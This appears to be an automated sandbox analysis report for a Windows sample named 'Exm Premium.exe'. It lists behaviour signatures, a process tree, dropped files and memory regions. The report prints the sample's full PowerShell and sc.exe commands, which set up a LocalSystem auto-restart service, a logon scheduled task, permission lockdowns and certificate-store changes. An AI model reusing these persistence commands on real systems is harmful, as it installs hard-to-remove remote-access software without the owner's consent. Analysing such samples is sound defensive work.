Analysis

  • user interaction
    yes
  • max time kernel
    50s
  • max time network
    53s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/08/2026, 14:53

General

  • Target
    Exm Premium.exe
  • Size 10.7MB
  • Sample260804-r9pyfsce65
  • SHA256 590b76fbaa1e2e318ac992d70e5d387145bc714802ea6efe35fcf4160a089ebf
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Creates new service(s) 2 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies file permissions 1 TTPs 5 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Drops file in Program Files directory 4 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 4 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

  • Modifies system certificate store 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Exm Premium.exe
    "C:\Users\Admin\AppData\Local\Temp\Exm Premium.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in Program Files directory
    • Modifies trusted root certificate store through registry
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:3600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Stop-Service -Name 'TeaHvhAgentSupervisor' -Force -ErrorAction SilentlyContinue;Stop-ScheduledTask -TaskName 'Tea hvh Session Agent' -ErrorAction SilentlyContinue"
      2⤵
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop' $InstallDir='C:\Program Files\Tea hvh\Agent';$StateDir='C:\ProgramData\Tea hvh\Agent';$Supervisor='C:\Program Files\Tea hvh\Agent\Tea-hvh-supervisor.exe';$Session='C:\Program Files\Tea hvh\Agent\Tea-hvh-session-agent.exe';$DeviceID='C:\ProgramData\Tea hvh\Agent\device-id.txt';$Ready='C:\ProgramData\Tea hvh\Agent\runtime.ready' $ServiceName='TeaHvhAgentSupervisor';$TaskName='Tea hvh Session Agent';$LegacyTask='Fortnite Club Remote Agent' $ActiveUser=(Get-CimInstance Win32_ComputerSystem).UserName if([string]::IsNullOrWhiteSpace($ActiveUser)){throw 'No interactive Windows user is signed in.'} Stop-ScheduledTask -TaskName $LegacyTask -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName $LegacyTask -Confirm:$false -ErrorAction SilentlyContinue Stop-ScheduledTask -TaskName $TaskName -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName $TaskName -Confirm:$false -ErrorAction SilentlyContinue Stop-Service -Name $ServiceName -Force -ErrorAction SilentlyContinue Remove-Item -Force $Ready -ErrorAction SilentlyContinue $LegacyIdentity=Join-Path $env:ProgramData 'FortniteClubRemote\device-id.txt' if((Test-Path $LegacyIdentity)-and-not(Test-Path $DeviceID)){Copy-Item -Force $LegacyIdentity $DeviceID} & icacls.exe $InstallDir /inheritance:r /grant:r 'SYSTEM:(OI)(CI)F' 'Administrators:(OI)(CI)F' 'Users:(OI)(CI)RX' | Out-Null & icacls.exe $StateDir /inheritance:r /grant:r 'SYSTEM:(OI)(CI)F' 'Administrators:(OI)(CI)F' (\"${ActiveUser}:(OI)(CI)M\") | Out-Null $Action=New-ScheduledTaskAction -Execute $Session -Argument '--runtime' -WorkingDirectory $InstallDir $Trigger=New-ScheduledTaskTrigger -AtLogOn -User $ActiveUser $Settings=New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1) -StartWhenAvailable -MultipleInstances IgnoreNew $Principal=New-ScheduledTaskPrincipal -UserId $ActiveUser -LogonType Interactive -RunLevel Highest Register-ScheduledTask -TaskName $TaskName -Action $Action -Trigger $Trigger -Settings $Settings -Principal $Principal -Force | Out-Null $ServiceBinary=('\"{0}\" --service' -f $Supervisor) if(Get-Service -Name $ServiceName -ErrorAction SilentlyContinue){& sc.exe config $ServiceName binPath= $ServiceBinary start= auto obj= LocalSystem | Out-Null}else{& sc.exe create $ServiceName binPath= $ServiceBinary start= auto obj= LocalSystem DisplayName= 'Tea hvh Agent Protection' | Out-Null} & sc.exe description $ServiceName 'Protects and recovers the authorized Tea hvh session agent.' | Out-Null & sc.exe failure $ServiceName reset= 86400 actions= restart/5000/restart/15000/restart/30000 | Out-Null & sc.exe failureflag $ServiceName 1 | Out-Null Start-Service -Name $ServiceName Start-ScheduledTask -TaskName $TaskName "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3428
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" "C:\Program Files\Tea hvh\Agent" /inheritance:r /grant:r SYSTEM:(OI)(CI)F Administrators:(OI)(CI)F Users:(OI)(CI)RX
        3⤵
        • Modifies file permissions
        PID:1020
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" "C:\ProgramData\Tea hvh\Agent" /inheritance:r /grant:r SYSTEM:(OI)(CI)F Administrators:(OI)(CI)F RPHJNYLJ\Admin:(OI)(CI)M
        3⤵
        • Modifies file permissions
        PID:2288
      • C:\Windows\system32\sc.exe
        "C:\Windows\system32\sc.exe" create TeaHvhAgentSupervisor binPath= ""C:\Program Files\Tea hvh\Agent\Tea-hvh-supervisor.exe" --service" start= auto obj= LocalSystem DisplayName= "Tea hvh Agent Protection"
        3⤵
        • Launches sc.exe
        PID:4296
      • C:\Windows\system32\sc.exe
        "C:\Windows\system32\sc.exe" description TeaHvhAgentSupervisor "Protects and recovers the authorized Tea hvh session agent."
        3⤵
        • Launches sc.exe
        PID:400
      • C:\Windows\system32\sc.exe
        "C:\Windows\system32\sc.exe" failure TeaHvhAgentSupervisor reset= 86400 actions= restart/5000/restart/15000/restart/30000
        3⤵
        • Launches sc.exe
        PID:1692
      • C:\Windows\system32\sc.exe
        "C:\Windows\system32\sc.exe" failureflag TeaHvhAgentSupervisor 1
        3⤵
        • Launches sc.exe
        PID:4788
    • C:\Windows\system32\icacls.exe
      icacls.exe "C:\Users\Admin\AppData\Local\Tea hvh\Agent\device.credential" /inheritance:r /grant:r SYSTEM:F Administrators:F RPHJNYLJ\Admin:F
      2⤵
      • Modifies file permissions
      PID:728
  • C:\Users\Admin\AppData\Local\Tea hvh\Agent\Tea-hvh-user-agent.exe
    "C:\Users\Admin\AppData\Local\Tea hvh\Agent\Tea-hvh-user-agent.exe" --runtime
    1⤵
    • Executes dropped EXE
    • Adds Run key to start application
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:4048
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Stop-Service -Name 'TeaHvhAgentSupervisor' -Force -ErrorAction SilentlyContinue;Stop-ScheduledTask -TaskName 'Tea hvh Session Agent' -ErrorAction SilentlyContinue"
      2⤵
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      PID:4532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop' $InstallDir='C:\Program Files\Tea hvh\Agent';$StateDir='C:\ProgramData\Tea hvh\Agent';$Supervisor='C:\Program Files\Tea hvh\Agent\Tea-hvh-supervisor.exe';$Session='C:\Program Files\Tea hvh\Agent\Tea-hvh-session-agent.exe';$DeviceID='C:\ProgramData\Tea hvh\Agent\device-id.txt';$Ready='C:\ProgramData\Tea hvh\Agent\runtime.ready' $ServiceName='TeaHvhAgentSupervisor';$TaskName='Tea hvh Session Agent';$LegacyTask='Fortnite Club Remote Agent' $ActiveUser=(Get-CimInstance Win32_ComputerSystem).UserName if([string]::IsNullOrWhiteSpace($ActiveUser)){throw 'No interactive Windows user is signed in.'} Stop-ScheduledTask -TaskName $LegacyTask -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName $LegacyTask -Confirm:$false -ErrorAction SilentlyContinue Stop-ScheduledTask -TaskName $TaskName -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName $TaskName -Confirm:$false -ErrorAction SilentlyContinue Stop-Service -Name $ServiceName -Force -ErrorAction SilentlyContinue Remove-Item -Force $Ready -ErrorAction SilentlyContinue $LegacyIdentity=Join-Path $env:ProgramData 'FortniteClubRemote\device-id.txt' if((Test-Path $LegacyIdentity)-and-not(Test-Path $DeviceID)){Copy-Item -Force $LegacyIdentity $DeviceID} & icacls.exe $InstallDir /inheritance:r /grant:r 'SYSTEM:(OI)(CI)F' 'Administrators:(OI)(CI)F' 'Users:(OI)(CI)RX' | Out-Null & icacls.exe $StateDir /inheritance:r /grant:r 'SYSTEM:(OI)(CI)F' 'Administrators:(OI)(CI)F' (\"${ActiveUser}:(OI)(CI)M\") | Out-Null $Action=New-ScheduledTaskAction -Execute $Session -Argument '--runtime' -WorkingDirectory $InstallDir $Trigger=New-ScheduledTaskTrigger -AtLogOn -User $ActiveUser $Settings=New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1) -StartWhenAvailable -MultipleInstances IgnoreNew $Principal=New-ScheduledTaskPrincipal -UserId $ActiveUser -LogonType Interactive -RunLevel Highest Register-ScheduledTask -TaskName $TaskName -Action $Action -Trigger $Trigger -Settings $Settings -Principal $Principal -Force | Out-Null $ServiceBinary=('\"{0}\" --service' -f $Supervisor) if(Get-Service -Name $ServiceName -ErrorAction SilentlyContinue){& sc.exe config $ServiceName binPath= $ServiceBinary start= auto obj= LocalSystem | Out-Null}else{& sc.exe create $ServiceName binPath= $ServiceBinary start= auto obj= LocalSystem DisplayName= 'Tea hvh Agent Protection' | Out-Null} & sc.exe description $ServiceName 'Protects and recovers the authorized Tea hvh session agent.' | Out-Null & sc.exe failure $ServiceName reset= 86400 actions= restart/5000/restart/15000/restart/30000 | Out-Null & sc.exe failureflag $ServiceName 1 | Out-Null Start-Service -Name $ServiceName Start-ScheduledTask -TaskName $TaskName "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1932
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" "C:\Program Files\Tea hvh\Agent" /inheritance:r /grant:r SYSTEM:(OI)(CI)F Administrators:(OI)(CI)F Users:(OI)(CI)RX
        3⤵
        • Modifies file permissions
        PID:4352
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" "C:\ProgramData\Tea hvh\Agent" /inheritance:r /grant:r SYSTEM:(OI)(CI)F Administrators:(OI)(CI)F RPHJNYLJ\Admin:(OI)(CI)M
        3⤵
        • Modifies file permissions
        PID:3752
      • C:\Windows\system32\sc.exe
        "C:\Windows\system32\sc.exe" create TeaHvhAgentSupervisor binPath= ""C:\Program Files\Tea hvh\Agent\Tea-hvh-supervisor.exe" --service" start= auto obj= LocalSystem DisplayName= "Tea hvh Agent Protection"
        3⤵
        • Launches sc.exe
        PID:2344
      • C:\Windows\system32\sc.exe
        "C:\Windows\system32\sc.exe" description TeaHvhAgentSupervisor "Protects and recovers the authorized Tea hvh session agent."
        3⤵
        • Launches sc.exe
        PID:644
      • C:\Windows\system32\sc.exe
        "C:\Windows\system32\sc.exe" failure TeaHvhAgentSupervisor reset= 86400 actions= restart/5000/restart/15000/restart/30000
        3⤵
        • Launches sc.exe
        PID:3756
      • C:\Windows\system32\sc.exe
        "C:\Windows\system32\sc.exe" failureflag TeaHvhAgentSupervisor 1
        3⤵
        • Launches sc.exe
        PID:1660

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        Tea-hvh-session-agent.exe.new

        • Path C:\Program Files\Tea hvh\Agent\Tea-hvh-session-agent.exe.new
        • Size 10.7MB
        • SHA256 590b76fbaa1e2e318ac992d70e5d387145bc714802ea6efe35fcf4160a089ebf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 764d337504c9db6ccf621fa167cc08dc7e1545b10e08be6f8a17269d6509a696
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 a7f33fc647701f0d20596f8b23463ff9f3a3437b652f03d2e65546e6c7065401
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 4a3bd2fdd3ae2ccff0a6f04d056213e353442ad8ed8e1d1fb483272ff6190191
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 5d388e8024a0686052e6d654212250ede257dfe929fcfacec7d7adb61a465a52
        • MD5 SHA1 SHA512 TLSH

        agent.log

        • Path C:\Users\Admin\AppData\Local\Tea hvh\Agent\agent.log
        • Size 347B
        • SHA256 83d230a7ed8af29eb5564ef7cd5cb0e5335b1413951894c371058ceb2ccb66dd
        • MD5 SHA1 SHA512 TLSH

        device.credential

        • Path C:\Users\Admin\AppData\Local\Tea hvh\Agent\device.credential
        • Size 65B
        • SHA256 51b08f174384888f0f931d921a56faac0c3697bd247db2ad485983aa648aa681
        • MD5 SHA1 SHA512 TLSH

        identity.json

        • Path C:\Users\Admin\AppData\Local\Tea hvh\Agent\identity.json
        • Size 148B
        • SHA256 3138a2ce49eea6b9b78857a93ffe8322dc4552aeeb28b8c685c294ade596c765
        • MD5 SHA1 SHA512 TLSH

        last-error.txt

        • Path C:\Users\Admin\AppData\Local\Tea hvh\Agent\last-error.txt
        • Size 453B
        • SHA256 52640831c63d2039bce0e458d5632d40cd4f527d9352b50cfe512ebcc30014da
        • MD5 SHA1 SHA512 TLSH

        runtime.ready

        • Path C:\Users\Admin\AppData\Local\Tea hvh\Agent\runtime.ready
        • Size 29B
        • SHA256 bd588f6f4942260e56e816f71a20097e073760bdd09667f9c74157fa5df497f2
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_ouo4axnl.1m2.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ouo4axnl.1m2.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/536-1-0x0000027477750000-0x0000027477760000-memory.dmp

        memory/536-0-0x0000027477750000-0x0000027477760000-memory.dmp

        memory/536-2-0x0000027477090000-0x00000274770B2000-memory.dmp

        memory/536-13-0x0000027478110000-0x000002747825E000-memory.dmp

        memory/536-10-0x0000027477750000-0x0000027477760000-memory.dmp

        memory/3428-34-0x000002AF4E830000-0x000002AF4E854000-memory.dmp

        memory/3428-33-0x000002AF4E830000-0x000002AF4E85A000-memory.dmp

        memory/3428-24-0x000002AF35650000-0x000002AF35660000-memory.dmp

        memory/3428-23-0x000002AF35650000-0x000002AF35660000-memory.dmp

        memory/4048-92-0x00007FF727BF0000-0x00007FF7286FD000-memory.dmp

        memory/4048-95-0x00007FF727BF0000-0x00007FF7286FD000-memory.dmp